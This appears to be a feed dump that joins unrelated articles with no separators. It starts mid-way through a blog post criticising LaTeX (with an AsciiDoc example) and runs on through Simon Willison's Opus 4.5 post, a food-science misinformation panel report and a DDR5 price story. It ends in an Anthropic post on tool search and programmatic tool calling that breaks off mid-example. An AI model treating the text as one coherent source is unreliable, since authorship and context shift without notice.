It is not far fetched that errors in the content (like gramatical errors) could sneak into the mess of
\begin
and
\end
that a LaTeX document quickly becomes.
An Easy Alternative
Why use LaTeX when there are alternatives?
Document preparation software is a vast field and many open-source projects try to carve out a space for themselves.
Let’s highlight one of them.
AsciiDoc
was already named a few times in this post as an alternative to LaTeX.
The language is a simple to understand Markdown flavor with special control structures for embedding images, tables, lists, listings, admonition blocks and many more.
It is used to create documents in PDF, HTML, DocBook and many more formats.
The
AsciiDoctor
processor provides a fantastic eco-system of plugins and tools.
With
asciidoctor-kroki
we can embedd a huge variety of plain-text diagram description languages into our document using
Kroki
.
Using
asciidoctor-mathematical
we can use
mathematical
to render mathematical equations.
Editing can be achieved easily with the
VSCode extension for AsciiDoctor
to provide a live-preview of the structure of the document in real-time.
Let’s look at a small example highlighting a few things that AsciiDoc can do using a simple file creating a bit of text, lists and tables.
Additionally, we are using Kroki as part of our local toolchain to include diagrams in our document.
Compiling this is only possible in a docker setup with correctly set up networks, so this is just for demonstration.
Here is the source for the document:
example.adoc
:library: Asciidoctor
:stylesdir: style
:stylesheet: stylesheet.css
:imagesdir: images
:source-highlighter: pygments
// This lets asciidoctor inline images into the HTML output
:data-uri:
:toc: left
include::misc/kroki-settings.adoc[]
= AsciiDoc Examples
== Paragraphs
**Lorem ipsum dolor sit amet**, consectetur adipiscing elit. Sed eleifend feugiat tortor, in dignissim felis blandit non. Fusce suscipit urna id neque iaculis scelerisque. Fusce convallis leo turpis, vel blandit sapien malesuada at. Vestibulum ut elit eu quam laoreet mattis pulvinar vitae libero. Cras egestas, lacus non condimentum facilisis, risus tortor lobortis velit, quis facilisis ex risus sit amet ligula. Praesent facilisis lacus eros, et dictum tortor varius sed. Nam gravida mollis mattis. Sed eros nulla, varius et posuere sed, congue non dolor. Nullam urna risus, condimentum ac tempus sed, sagittis et nunc. Ut at fermentum diam. Quisque consequat tincidunt tellus vitae consectetur.
_Curabitur vestibulum ante metus_, a vestibulum nisl efficitur iaculis. Sed id massa sed nibh suscipit consectetur sit amet et massa. Morbi ex leo, congue in nunc et, tristique euismod enim. Nunc in dolor vitae erat egestas suscipit. Nulla hendrerit et dolor et sagittis. Praesent posuere nibh ac erat bibendum, vel interdum enim imperdiet. Aliquam erat volutpat. Donec quis porttitor purus. Etiam accumsan dignissim est et porta. Fusce eget sem laoreet, suscipit nisi quis, pulvinar libero. Etiam eu rutrum velit. In tortor arcu, luctus vitae posuere sit amet, molestie in odio. Donec purus tortor, pretium ut erat non, fringilla rhoncus massa. Nam ac dapibus orci, quis convallis nisl. Phasellus quis neque et velit scelerisque maximus.
== Tables
=== Basic
|===
|Column 1, header row |Column 2, header row |Column 3, header row
|Cell in column 1, row 2
|Cell in column 2, row 2
|Cell in column 3, row 2
|Cell in column 1, row 3
|Cell in column 2, row 3
|Cell in column 3, row 3
|===
=== CSV Paste-in
[%header,format=csv]
|===
"Column 1, header row","Column 2, header row","Column 3, header row"
"Cell in column 1, row 2","Cell in column 2, row 2","Cell in column 3, row 2"
"Cell in column 1, row 3","Cell in column 2, row 3","Cell in column 3, row 3",
|===
== Lists
=== Normal
* Hello
* World!
=== Numbered
. Hello
. World!
== Code Highlighting
[source,ruby]
----
puts "Hello World!"
----
== Diagrams
=== Mermaid
[mermaid]
....
flowchart LR
Hello --> World!
....
=== Graphviz
[graphviz]
....
digraph {
Hello -> "World!"
}
....
=== Vega-Lite
[vegalite]
....
{
"$schema": "https://vega.github.io/schema/vega-lite/v4.json",
"description": "Horizontally concatenated charts that show different types of discretizing scales.",
"data": {
"values": [
{"a": "A", "b": 28},
{"a": "B", "b": 55},
{"a": "C", "b": 43},
{"a": "D", "b": 91},
{"a": "E", "b": 81},
{"a": "F", "b": 53},
{"a": "G", "b": 19},
{"a": "H", "b": 87},
{"a": "I", "b": 52}
]
},
"hconcat": [
{
"mark": "circle",
"encoding": {
"y": {
"field": "b",
"type": "nominal",
"sort": null,
"axis": {
"ticks": false,
"domain": false,
"title": null
}
},
"size": {
"field": "b",
"type": "quantitative",
"scale": {
"type": "quantize"
}
},
"color": {
"field": "b",
"type": "quantitative",
"scale": {
"type": "quantize",
"zero": true
},
"legend": {
"title": "Quantize"
}
}
}
},
{
"mark": "circle",
"encoding": {
"y": {
"field": "b",
"type": "nominal",
"sort": null,
"axis": {
"ticks": false,
"domain": false,
"title": null
}
},
"size": {
"field": "b",
"type": "quantitative",
"scale": {
"type": "quantile",
"range": [80, 160, 240, 320, 400]
}
},
"color": {
"field": "b",
"type": "quantitative",
"scale": {
"type": "quantile",
"scheme": "magma"
},
"legend": {
"format": "d",
"title": "Quantile"
}
}
}
},
{
"mark": "circle",
"encoding": {
"y": {
"field": "b",
"type": "nominal",
"sort": null,
"axis": {
"ticks": false,
"domain": false,
"title": null
}
},
"size": {
"field": "b",
"type": "quantitative",
"scale": {
"type": "threshold",
"domain": [30, 70],
"range": [80, 200, 320]
}
},
"color": {
"field": "b",
"type": "quantitative",
"scale": {
"type": "threshold",
"domain": [30, 70],
"scheme": "viridis"
},
"legend": {
"title": "Threshold"
}
}
}
}
],
"resolve": {
"scale": {
"color": "independent",
"size": "independent"
}
}
}
....
=== Structurizr
[structurizr]
....
workspace {
model {
user = person "User"
softwareSystem = softwareSystem "Software System" {
webapp = container "Web Application" {
user -> this "Uses!!!"
}
database = container "Database" {
webapp -> this "Reads from and writes to"
}
}
}
views {
systemContext softwareSystem {
include *
autolayout lr
}
container softwareSystem {
include *
autolayout lr
}
theme default
}
}
....
This file includes a helper file to set a few settings for the imported Kroki images.
kroki-settings.adoc
:kroki-fetch-diagram: true
:kroki-default-options: inline
:kroki-default-format: svg
ifdef::backend-pdf[]
// For the PDF backend, using SVG doesn't work with mermaid diagrams
:kroki-default-format: png
endif::[]
// Port to a local docker container running Kroki
:kroki-server-url: http://kroki:8000
This can then be compiled to a
asciidoc.html
or
asciidoc.pdf
file.
Note that the source includes almost no extraneous syntax that is concerned with document structure or anything but the content.
Data from CSV files can be included in AsciiDoc without much hassle and interoperability with multiple diagram backends is demonstrated.
What AsciiDoc shows in simplicity is also its weakest point.
It doesn’t leave too many possibilities for formatting or changing the overall structure of the document.
While the format shown in this example is fine for many documents, AsciiDoc lacks in a simple way of taking control over the overall design in a meaningful way, even though
it can be done
.
However, one might argue that AsciiDoc precisely keeps LaTeX’ promise that the author ultimately does not have to worry about formatting.
It is therefore very popular for technical documentation.
Another serious alternative to LaTeX, especially when it comes to scientific texts, seems to be
Typst
.
I can’t make any real statements about it since I haven’t used it yet.
However, its syntax, features and results already look quite nice.
Why LaTeX?
With all the cynical critique aside:
What are the features that make people vouch for LaTeX?
Looking around online, you will find a large community that simply loves how documents created with it
look
.
The typesetting has become the main argument for defending its use.
Is that really LaTeX’ only strong suite?
Typographic Beauty Craze
LaTeX produces some very good looking text.
Yep.
Don’t believe me?
Look at
this comparison
of Word, InDesign and LaTeX by Roel Zinkstok.
Kerning?
Ligatures?
Proper spacing for easier readability?
It’s all there.
But that is expected from a typesetting system isn’t it?
The whole point of TeX was to create some beautifully rendered text and at its core, thats what LaTeX can offer.
Additionally, LaTeX brings beauty to mathematical typesetting!
With its handsomely rendered mathematical formulas, LaTeX has inspired libraries such as
MathJax
and
KaTeX
to also provide this typesetting capability in modern webbrowsers.
This quality is an obvious plus when writing professional documents or publishing a book.
LaTeX gives self-published authors the ability to provide output that (typographically) matches what professional publishers can achieve.
After all, publishers love LaTeX too!
A Publisher’s Tool
The primary idea behind TeX was for it to be used for book publishing.
It’s no wonder that many publishers use it.
With the help of packages such as
memoir
it becomes manageable to take full control over typesetting and many other aspects of a document.
This kind of deep and precise control cannot be offered by Word nor AsciiDoctor.
LaTeX’ support for cross-references, glossaries, bibliographies, lists of figures and automatic generation of a larger documents structure make it an essential tool for writing scientific books or theses.
These features rightfully make it very popular in academic circles for writing papers.
Familiar in Academic Circles
LaTeX is a product of academia.
Mathematicians, phycisists and computer scientists rejoice over their favorite document creation software.
Therefore it is no wonder that LaTeX is their first choice when collaborating on papers.
In the afforementioned disciplines it essentially is the
only
choice.
Back when I went to university, we had no choice but to use LaTeX to write essays and seminar papers, since it was a formal requirement to use specific LaTeX templates.
This implicit familiarity helps in collaboration.
Packages developed for LaTeX to provide certain (niche) features that a researcher might need for their paper can be picked up and used by other researchers.
The de-facto standard in these fields also helps to standardize the writing and publishing process for academic work.
Conclusion
LaTeX is patchwork.
At its core is TeX, a typesetting monolith.
Around this core are macros that attempt to patch functionality into a system that fundamentally isn’t designed for it.
This leads to a complicated system with strange syntax, fickle interactions and possible problems that nobody wants to deal with.
Authors should not have to care about document formatting and design and LaTeX makes the promise that this isn’t the case.
This promise is broken.
The author not only has to worry about formatting, they also have to deal with technical details and LaTeX’ intricacies.
LaTeX simply isn’t a tool for the author but for the typesetter and publisher.
If the author needs full control over the document’s design, LaTeX is the wrong choice unless they want to spend an enourmous amount of time.
It also isn’t the right choice when collaboration and simple interoperability is important.
LaTeX forces the author to fully commit to its complex system, wether they like it or not.
So is LaTeX just useless for the author?
Absolutely not.
In certain scientific fields LaTeX is the de-facto standard and mathematical typesetting rarely looks as good as it does in documents created with it.
It sometimes is the
only
choice depending on the need.
But what if we don’t have these peculiar needs?
Sensible usage of LaTeX might consists of using it as a backend.
Tools like
Sphinx
use
reStructuredText
as an input language which can then be transpiled to LaTeX to generate documents using better typesetting.
Using this approach the author gets the best of both worlds.
Simple, understandable syntax and TeX’ formatting power.
LaTeX is also not the only document preparation system and it is
far
from being the
standard
.
It’s good to look at alternatives like AsciiDoc or Typst in order to get a better feel for what kind of tools are out there that might fit your needs much better.
LaTeX is best at
some
things but its design comes from a time that is long gone.
Modern times have arrived and with modern times come modern tools.
What a time to be alive!
Claude Opus 4.5, and why evaluating new LLMs is increasingly difficult
Simon Willison
simonwillison.net
2025-11-24 19:37:07
Anthropic released Claude Opus 4.5 this morning, which they call "best model in the world for coding, agents, and computer use". This is their attempt to retake the crown for best coding model after significant challenges from OpenAI's GPT-5.1-Codex-Max and Google's Gemini 3, both released within th...
Anthropic
released Claude Opus 4.5
this morning, which they call “best model in the world for coding, agents, and computer use”. This is their attempt to retake the crown for best coding model after significant challenges from OpenAI’s
GPT-5.1-Codex-Max
and Google’s
Gemini 3
, both released within the past week!
The core characteristics of Opus 4.5 are a 200,000 token context (same as Sonnet), 64,000 token output limit (also the same as Sonnet), and a March 2025 “reliable knowledge cutoff” (Sonnet 4.5 is January, Haiku 4.5 is February).
The pricing is a big relief: $5/million for input and $25/million for output. This is a lot cheaper than the previous Opus at $15/$75 and keeps it a little more competitive with the GPT-5.1 family ($1.25/$10) and Gemini 3 Pro ($2/$12, or $4/$18 for >200,000 tokens). For comparison, Sonnet 4.5 is $3/$15 and Haiku 4.5 is $4/$20.
Opus 4.5 has a new
effort parameter
defaults to high but can be set to medium or low for faster responses.
There model supports
enhanced computer use
, specifically a
zoom
tool which you can provide to Opus 4.5 to allow it to request a zoomed in region of the screen to inspect.
It’s clearly an excellent new model, but I did run into a catch. My preview expired at 8pm on Sunday when I still had a few remaining issues in
the milestone for the alpha
. I switched back to Claude Sonnet 4.5 and... kept on working at the same pace I’d been achieving with the new model.
With hindsight, production coding like this is a less effective way of evaluating the strengths of a new model than I had expected.
I’m not saying the new model isn’t an improvement on Sonnet 4.5—but I can’t say with confidence that the challenges I posed it were able to identify a meaningful difference in capabilities between the two.
This represents a growing problem for me. My favorite moments in AI are when a new model gives me the ability to do something that simply wasn’t possible before. In the past these have felt a lot more obvious, but today it’s often very difficult to find concrete examples that differentiate the new generation of models from their predecessors.
Google’s Nano Banana Pro image generation model was notable in that its ability to
render usable infographics
really does represent a task at which previous models had been laughably incapable.
The frontier LLMs are a lot harder to differentiate between. Benchmarks like bench Verified show models beating each other by single digit percentage point margins, but what does that actually equate to in real-world problems that I need to solve on a daily basis?
And honestly, this is mainly on me. I’ve fallen behind on maintaining my own collection of tasks that are just beyond the capabilities of the frontier models. I used to have a whole bunch if these but they’ve fallen one-by-one and now I’m embarrassingly lacking in suitable challenges to help evaluate new models.
I frequently advise people to stash away tasks that models fail at in their notes so they can try them against newer models later on—a tip I picked up from Ethan Mollick. I need to double-down on that advice myself!
I’d love to see AI labs like Anthropic help address this challenge directly. I’d like to see new model releases accompanied by concrete examples of tasks they can solve that the previous generation of models from the same provider were unable to handle.
“Here’s an example prompt which failed on Sonnet 4.5 but succeeds on Opus 4.5” would excite me a
lot
more than some single digit percent improvement on a benchmark with a name like MMLU or GPQA Diamond.
From left: Mary Ellen Kuhn, Charlie Arnot, and Veronica Jaramillo | Food technology
To successfully combat science denial and misinformation in the age of social media and online influencers, food scientists need to connect on an emotional level and find shared values before attempting to pepper people with facts, said panelists during a Hot Topics Studio session on Wednesday at IFT FIRST.
“You can’t just talk louder and harder, and offer more facts. You can do that, but that’s not strategic,” said Charlie Arnot, founder and CEO of both The Center for Food Integrity and the Look East strategic communications firm, during the session titled “Myth Busting Misinformation: How to Combat Science Denial,” moderated by Mary Ellen Kuhn, executive editor at
Food Technology
magazine. “You can embrace and validate someone’s concerns without validating their misinformation. That gives you permission to engage as a trusted, credible authority that they will then interpret as being relevant and valuable to them.”
As fewer people get their news from traditional sources and more turn to online and social media outlets—especially true among younger generations—everyone ends up in an echo chamber of their own preexisting beliefs, said Veronica Jaramillo, cofounder of The Food Truth Project and a food science graduate student at McGill University.
“The algorithm is working a little too well for our own good,” she said. “You’re teaching the algorithm to bring on this information that you’re already believing. It’s very rare that you find something in your feed that’s contrary to your own beliefs.” And when people do, they often greet that information with skepticism or outright hostility, she added.
From the time of Galileo in the 1600s until the dawn of the 21st century, science was widely regarded as the arbiter of truth, yet reliant on communications technologies to spread those truths—such as print publications, radio, or television—which had “some level of informal or formal social control,” Arnot said. The launch of Facebook in 2004 fundamentally changed communication patterns to a “many-to-many” dynamic, which provided “the opportunity to have an infinite number of microcultures” and a “dispersion of authority,” he said.
In spite of that, a recent survey of consumers that asked who they trusted the most on food and nutrition information found that the top three answers were registered dietitians, primary care physicians, and food scientists—a result that heartened Jaramillo. “I thought No. 1 would be social media influencers,” she said. “We’re still in the game. Does that mean people are getting most information from [those three groups]? No.”
To nudge their way toward being more front-of-mind, food scientists need to listen and ask questions—and then share information, Arnot said. “It’s not about correcting individuals,” he said. “If your pitch is, ‘You’re wrong, and here’s why,’ you’re going to immediately alienate the person. If you listen, ask, listen, ask, and then share, you will find a point of connection. … It’s about finding that point of connection and engaging in meaningful dialogue. That takes practice because we’ve been trained to communicate the science: ‘Here’s what the research says.’”
Scientists communicate with each other by sharing data findings and meta-analyses, Jaramillo agreed. “We’re not taught, as scientists, to communicate with the general public. People don’t respond to that,” she said. “If you say, ‘Look at this data,’ [they respond by saying], ‘Why should I care? This doesn’t impact me. Science is for scientists.’ It feeds into the narrative that science and scientists are not accessible. People think scientists are on this high horse and only able to speak to each other.”
Instead of saying “look at this data,” scientists need to tell a story, Jaramillo said, recalling a person who buttonholed her after a workshop to say they didn’t like GMOs because, “I think it changes our DNA.” She listened, asked questions, and understood better what made the person wary—and then told them about Golden Rice, a genetically modified strain that has saved the lives of an estimated 40,000 to 100,000 children who had been facing severe vitamin A deficiency. “That’s a tangible story that connects with their values,” she said. “It’s an example of something we can give them that’s not just, ‘Here are the facts; here are the facts.’”
Another piece of advice Jaramillo shared: don’t get too emotionally invested or take people’s reactions too personally, which she acknowledged struggling with herself. “I felt like an attack against science was an attack against me: ‘You don’t believe in the work I’m doing,’” she said. “I wanted to scream at the top of my lungs. … I get frustrated with people who don’t understand the safety protocols behind our food. But I can’t expect everyone to have the food science background I do. It’s our job—not just the communicators, but everyone in the food industry—to communicate better about what we do.”ft
Thanks to the AI boom devouring the majority of the world's memory and storage supply, end-consumers are now facing increasingly inflated prices for common components. DDR5 RAM, a necessity for building current-gen Intel or AMD systems, has now reached record highs in terms of pricing; a 64 GB kit of
G.Skill's Trident Z5 Neo 6000 MT/s RAM is listed at $599.99 on Newegg
right now — that's $200 more than a PS5 Slim or a Microsoft Xbox Series S, and just $50 shy off an entire PS5 Pro at the moment.
Swipe to scroll horizontally
A quick glance at price tracking data, and G.Skill's Trident Z5 Neo kit has regularly sat at $205-$220 for the past few months, and it was only in late October that it started to pick up steam. From September 20th when it was listed at $220, to $640 now. In just 2 months we've witnessed an astounding ~190% surge.
Right as this particular Trident Z5 Neo kit began to skyrocket in price was when the industry first started to pick up on the affects of the AI crunch. A few days later we published our
initial coverage on DDR5 RAM price hikes
; from there, the situation has only worsened to reach worrying levels.
(Image credit: Micron)
Insane mark-up aside, the kit itself is one of the best on the market, recommend as the top pick for DDR5 memory
in our roundup
. Unfortunately, it seems like high prices are going to be the story going forward. The surge in demand for AI projects will see production lines will prioritizing serving AI clients, leaving consumers to pay through the nose or make the best of what they have. Experts speculate that both DRAM and NAND constraints will become normal throughout 2026 as Big Tech looks to pursue AGI.
Even Valve's upcoming Steam Machine will end up
costing more than expected
due to the production window of the device aligning with the DRAM crisis. That being said, memory has almost always lived in a rollercoaster cycle, with manufacturers oversupplying for a couple of years, then undersupplying for the next few. Looking at it optimistically, you're probably going to find DDR5 at bargain prices again
in 2027
.
Get Tom's Hardware's best news and in-depth reviews, straight to your inbox.
Hassam Nasir is a die-hard hardware enthusiast with years of experience as a tech editor and writer, focusing on detailed CPU comparisons and general hardware news. When he’s not working, you’ll find him bending tubes for his ever-evolving custom water-loop gaming rig or benchmarking the latest CPUs and GPUs just for fun.
The future of AI agents is one where models work seamlessly across hundreds or thousands of tools. An IDE assistant that integrates git operations, file manipulation, package managers, testing frameworks, and deployment pipelines. An operations coordinator that connects Slack, GitHub, Google Drive, Jira, company databases, and dozens of MCP servers simultaneously.
To
build effective agents
, they need to work with unlimited tool libraries without stuffing every definition into context upfront. Our blog article on using
code execution with MCP
discussed how tool results and definitions can sometimes consume 50,000+ tokens before an agent reads a request. Agents should discover and load tools on-demand, keeping only what's relevant for the current task.
Agents also need the ability to call tools from code. When using natural language tool calling, each invocation requires a full inference pass, and intermediate results pile up in context whether they're useful or not. Code is a natural fit for orchestration logic, such as loops, conditionals, and data transformations. Agents need the flexibility to choose between code execution and inference based on the task at hand.
Agents also need to learn correct tool usage from examples, not just schema definitions. JSON schemas define what's structurally valid, but can't express usage patterns: when to include optional parameters, which combinations make sense, or what conventions your API expects.
Today, we're releasing three features that make this possible:
Tool Search Tool,
which allows Claude to use search tools to access thousands of tools without consuming its context window
Programmatic Tool Calling
, which allows Claude to invoke tools in a code execution environment reducing the impact on the model’s context window
Tool Use Examples
, which provides a universal standard for demonstrating how to effectively use a given tool
In internal testing, we’ve found these features have helped us build things that wouldn’t have been possible with conventional tool use patterns. For example,
Claude for Excel
uses Programmatic Tool Calling to read and modify spreadsheets with thousands of rows without overloading the model’s context window.
Based on our experience, we believe these features open up new possibilities for what you can build with Claude.
Tool Search Tool
The challenge
MCP tool definitions provide important context, but as more servers connect, those tokens can add up. Consider a five-server setup:
GitHub: 35 tools (~26K tokens)
Slack: 11 tools (~21K tokens)
Sentry: 5 tools (~3K tokens)
Grafana: 5 tools (~3K tokens)
Splunk: 2 tools (~2K tokens)
That's 58 tools consuming approximately 55K tokens before the conversation even starts. Add more servers like Jira (which alone uses ~17K tokens) and you're quickly approaching 100K+ token overhead. At Anthropic, we've seen tool definitions consume 134K tokens before optimization.
But token cost isn't the only issue. The most common failures are wrong tool selection and incorrect parameters, especially when tools have similar names like
notification-send-user
vs.
notification-send-channel
.
Our solution
Instead of loading all tool definitions upfront, the Tool Search Tool discovers tools on-demand. Claude only sees the tools it actually needs for the current task.
Tool Search Tool preserves 191,300 tokens of context compared to 122,800 with Claude’s traditional approach.
Traditional approach:
All tool definitions loaded upfront (~72K tokens for 50+ MCP tools)
Conversation history and system prompt compete for remaining space
Total context consumption: ~77K tokens before any work begins
With the Tool Search Tool:
Only the Tool Search Tool loaded upfront (~500 tokens)
Tools discovered on-demand as needed (3-5 relevant tools, ~3K tokens)
Total context consumption: ~8.7K tokens, preserving 95% of context window
This represents an 85% reduction in token usage while maintaining access to your full tool library. Internal testing showed significant accuracy improvements on MCP evaluations when working with large tool libraries. Opus 4 improved from 49% to 74%, and Opus 4.5 improved from 79.5% to 88.1% with Tool Search Tool enabled.
How the Tool Search Tool works
The Tool Search Tool lets Claude dynamically discover tools instead of loading all definitions upfront. You provide all your tool definitions to the API, but mark tools with
defer_loading: true
to make them discoverable on-demand. Deferred tools aren't loaded into Claude's context initially. Claude only sees the Tool Search Tool itself plus any tools with
defer_loading: false
(your most critical, frequently-used tools).
When Claude needs specific capabilities, it searches for relevant tools. The Tool Search Tool returns references to matching tools, which get expanded into full definitions in Claude's context.
For example, if Claude needs to interact with GitHub, it searches for "github," and only
github.createPullRequest
and
github.listIssues
get loaded—not your other 50+ tools from Slack, Jira, and Google Drive.
This way, Claude has access to your full tool library while only paying the token cost for tools it actually needs.
Implementation:
{
"tools": [
// Include a tool search tool (regex, BM25, or custom)
{"type": "tool_search_tool_regex_20251119", "name": "tool_search_tool_regex"},
// Mark tools for on-demand discovery
{
"name": "github.createPullRequest",
"description": "Create a pull request",
"input_schema": {...},
"defer_loading": true
}
// ... hundreds more deferred tools with defer_loading: true
]
}
For MCP servers, you can defer loading entire servers while keeping specific high-use tools loaded:
{
"type": "mcp_toolset",
"mcp_server_name": "google-drive",
"default_config": {"defer_loading": true}, # defer loading the entire server
"configs": {
"search_files": {
"defer_loading": false
} // Keep most used tool loaded
}
}
The Claude Developer Platform provides regex-based and BM25-based search tools out of the box, but you can also implement custom search tools using embeddings or other strategies.
When to use the Tool Search Tool
Like any architectural decision, enabling the Tool Search Tool involves trade-offs. The feature adds a search step before tool invocation, so it delivers the best ROI when the context savings and accuracy improvements outweigh additional latency.
Use it when:
Tool definitions consuming >10K tokens
Experiencing tool selection accuracy issues
Building MCP-powered systems with multiple servers
10+ tools available
Less beneficial when:
Small tool library (<10 tools)
All tools used frequently in every session
Tool definitions are compact
Programmatic Tool Calling
The challenge
Traditional tool calling creates two fundamental problems as workflows become more complex:
Context pollution from intermediate results
: When Claude analyzes a 10MB log file for error patterns, the entire file enters its context window, even though Claude only needs a summary of error frequencies. When fetching customer data across multiple tables, every record accumulates in context regardless of relevance. These intermediate results consume massive token budgets and can push important information out of the context window entirely.
Inference overhead and manual synthesis
: Each tool call requires a full model inference pass. After receiving results, Claude must "eyeball" the data to extract relevant information, reason about how pieces fit together, and decide what to do next—all through natural language processing. A five tool workflow means five inference passes plus Claude parsing each result, comparing values, and synthesizing conclusions. This is both slow and error-prone.
Our solution
Programmatic Tool Calling enables Claude to orchestrate tools through code rather than through individual API round-trips. Instead of Claude requesting tools one at a time with each result being returned to its context, Claude writes code that calls multiple tools, processes their outputs, and controls what information actually enters its context window.
Claude excels at writing code and by letting it express orchestration logic in Python rather than through natural language tool invocations, you get more reliable, precise control flow. Loops, conditionals, data transformations, and error handling are all explicit in code rather than implicit in Claude's reasoning.
Example: Budget compliance check
Consider a common business task: "Which team members exceeded their Q3 travel budget?"
You have three tools available:
get_team_members(department)
- Returns team member list with IDs and levels
get_expenses(user_id, quarter)
- Returns expense line items for a user
get_budget_by_level(level)
- Returns budget limits for an employee level
Traditional approach
:
Fetch team members → 20 people
For each person, fetch their Q3 expenses → 20 tool calls, each returning 50-100 line items (flights, hotels, meals, receipts)
Fetch budget limits by employee level
All of this enters Claude's context: 2,000+ expense line items (50 KB+)
Claude manually sums each person's expenses, looks up their budget, compares expenses against budget limits
More round-trips to the model, significant context consumption
With Programmatic Tool Calling
:
Instead of each tool result returning to Claude, Claude writes a Python script that orchestrates the entire workflow. The script runs in the Code Execution tool (a sandboxed environment), pausing when it needs results from your tools. When you return tool results via the API, they're processed by the script rather than consumed by the model. The script continues executing, and Claude only sees the final output.
Programmatic Tool Calling enables Claude to orchestrate tools through code rather than through individual API round-trips, allowing for parallel tool execution.
Here's what Claude's orchestration code looks like for the budget compliance task:
team = await get_team_members("engineering")
# Fetch budgets for each unique level
levels = list(set(m["level"] for m in team))
budget_results = await asyncio.gather(*[
get_budget_by_level(level) for level in levels
])
# Create a lookup dictionary: {"junior": budget1, "senior": budget2, ...}
budgets = {level: budget for level, budget in zip(levels, budget_results)}
# Fetch all expenses in parallel
expenses = await asyncio.gather(*[
get_expenses(m["id"], "Q3") for m in team
])
# Find employees who exceeded their travel budget
exceeded = []
for member, exp in zip(team, expenses):
budget = budgets[member["level"]]
total = sum(e["amount"] for e in exp)
if total > budget["travel_limit"]:
exceeded.append({
"name": member["name"],
"spent": total,
"limit": budget["travel_limit"]
})
print(json.dumps(exceeded))
Claude's context receives only the final result: the two to three people who exceeded their budget. The 2,000+ line items, the intermediate sums, and the budget lookups do not affect Claude’s context, reducing consumption from 200KB of raw expense data to just 1KB of results.
The efficiency gains are substantial:
Token savings
: By keeping intermediate results out of Claude's context, PTC dramatically reduces token consumption. Average usage dropped from 43,588 to 27,297 tokens, a 37% reduction on complex research tasks.
Reduced latency
: Each API round-trip requires model inference (hundreds of milliseconds to seconds). When Claude orchestrates 20+ tool calls in a single code block, you eliminate 19+ inference passes. The API handles tool execution without returning to the model each time.
Improved accuracy
: By writing explicit orchestration logic, Claude makes fewer errors than when juggling multiple tool results in natural language. Internal knowledge retrieval improved from 25.6% to 28.5%;
GIA benchmarks
from 46.5% to 51.2%.
Production workflows involve messy data, conditional logic, and operations that need to scale. Programmatic Tool Calling lets Claude handle that complexity programmatically while keeping its focus on actionable results rather than raw data processing.
How Programmatic Tool Calling works
1. Mark tools as callable from code
Add code_execution to tools, and set allowed_callers to opt-in tools for programmatic execution:
{
"tools": [
{
"type": "code_execution_20250825",
"name": "code_execution"
},
{
"name": "get_team_members",
"description": "Get all members of a department...",
"input_schema": {...},
"allowed_callers": ["code_execution_20250825"] # opt-in to programmatic tool calling
},
{
"name": "get_expenses",
...
},
{
"name": "get_budget_by_level",
...
}
]
}
The API converts these tool definitions into Python functions that Claude can call.
2. Claude writes orchestration code
Instead of requesting tools one at a time, Claude generates Python code:
{
"type": "server_tool_use",
"id": "srvtoolu_abc",
"name": "code_execution",
"input": {
"code": "team = get_team_members('engineering')\n..." # the code example above
}
}
3. Tools execute without hitting Claude's context
When the code calls get_expenses(), you receive a tool request with a caller field:
You provide the result, which is processed in the Code Execution environment rather than Claude's context. This request-response cycle repeats for each tool call in the code.
4. Only final output enters context
When the code finishes running, only the results of the code are returned to Claude:
This is all Claude sees, not the 2000+ expense line items processed along the way.
When to use Programmatic Tool Calling
Programmatic Tool Calling adds a code execution step to your workflow. This extra overhead pays off when the token savings, latency improvements, and accuracy gains are substantial.
Most beneficial when:
Processing large datasets where you only need aggregates or summaries
Running multi-step workflows with three or more dependent tool calls
Filtering, sorting, or transforming tool results before Claude sees them
Handling tasks where intermediate data shouldn't influence Claude's reasoning
Running parallel operations across many items (checking 50 endpoints, for example)
Less beneficial when:
Making simple single-tool invocations
Working on tasks where Claude should see and reason about all intermediate results
Running quick lookups with small responses
Tool Use Examples
The challenge
JSON Schema excels at defining structure–types, required fields, allowed enums–but it can't express usage patterns: when to include optional parameters, which combinations make sense, or what conventions your API expects.
The schema defines what's valid, but leaves critical questions unanswered:
Format ambiguity:
Should
due_date
use "2024-11-06", "Nov 6, 2024", or "2024-11-06T00:00:00Z"?
ID conventions:
Is
reporter.id
a UUID, "USR-12345", or just "12345"?
Nested structure usage:
When should Claude populate
reporter.contact
?
Parameter correlations:
How do
escalation.level
and
escalation.sla_hours
relate to priority?
These ambiguities can lead to malformed tool calls and inconsistent parameter usage.
Our solution
Tool Use Examples let you provide sample tool calls directly in your tool definitions. Instead of relying on schema alone, you show Claude concrete usage patterns:
Format conventions
: Dates use YYYY-MM-DD, user IDs follow USR-XXXXX, labels use kebab-case
Nested structure patterns
: How to construct the reporter object with its nested contact object
Optional parameter correlations
: Critical bugs have full contact info + escalation with tight SLAs; feature requests have reporter but no contact/escalation; internal tasks have title only
In our own internal testing, tool use examples improved accuracy from 72% to 90% on complex parameter handling.
When to use Tool Use Examples
Tool Use Examples add tokens to your tool definitions, so they’re most valuable when accuracy improvements outweigh the additional cost.
Most beneficial when:
Complex nested structures where valid JSON doesn't imply correct usage
Tools with many optional parameters and inclusion patterns matter
APIs with domain-specific conventions not captured in schemas
Similar tools where examples clarify which one to use (e.g.,
create_ticket
vs
create_incident
)
Less beneficial when:
Simple single-parameter tools with obvious usage
Standard formats like URLs or emails that Claude already understands
Validation concerns better handled by JSON Schema constraints
Best practices
Building agents that take real-world actions means handling scale, complexity, and precision simultaneously. These three features work together to solve different bottlenecks in tool use workflows. Here's how to combine them effectively.
Layer features strategically
Not every agent needs to use all three features for a given task. Start with your biggest bottleneck:
Context bloat from tool definitions → Tool Search Tool
Large intermediate results polluting context → Programmatic Tool Calling
Parameter errors and malformed calls → Tool Use Examples
This focused approach lets you address the specific constraint limiting your agent's performance, rather than adding complexity upfront.
Then layer additional features as needed. They're complementary: Tool Search Tool ensures the right tools are found, Programmatic Tool Calling ensures efficient execution, and Tool Use Examples ensure correct invocation.
Set up Tool Search Tool for better discovery
Tool search matches against names and descriptions, so clear, descriptive definitions improve discovery accuracy.
// Good
{
"name": "search_customer_orders",
"description": "Search for customer orders by date range, status, or total amount. Returns order details including items, shipping, and payment info."
}
// Bad
{
"name": "query_db_orders",
"description": "Execute order query"
}
Add system prompt guidance so Claude knows what's available:
You have access to tools for Slack messaging, Google Drive file management,
Jira ticket tracking, and GitHub repository operations. Use the tool search
to find specific capabilities.
Keep your three to five most-used tools always loaded, defer the rest. This balances immediate access for common operations with on-demand discovery for everything else.
Set up Programmatic Tool Calling for correct execution
Since Claude writes code to parse tool outputs, document return formats clearly. This helps Claude write correct parsing logic:
{
"name": "get_orders",
"description": "Retrieve orders for a customer.
Returns:
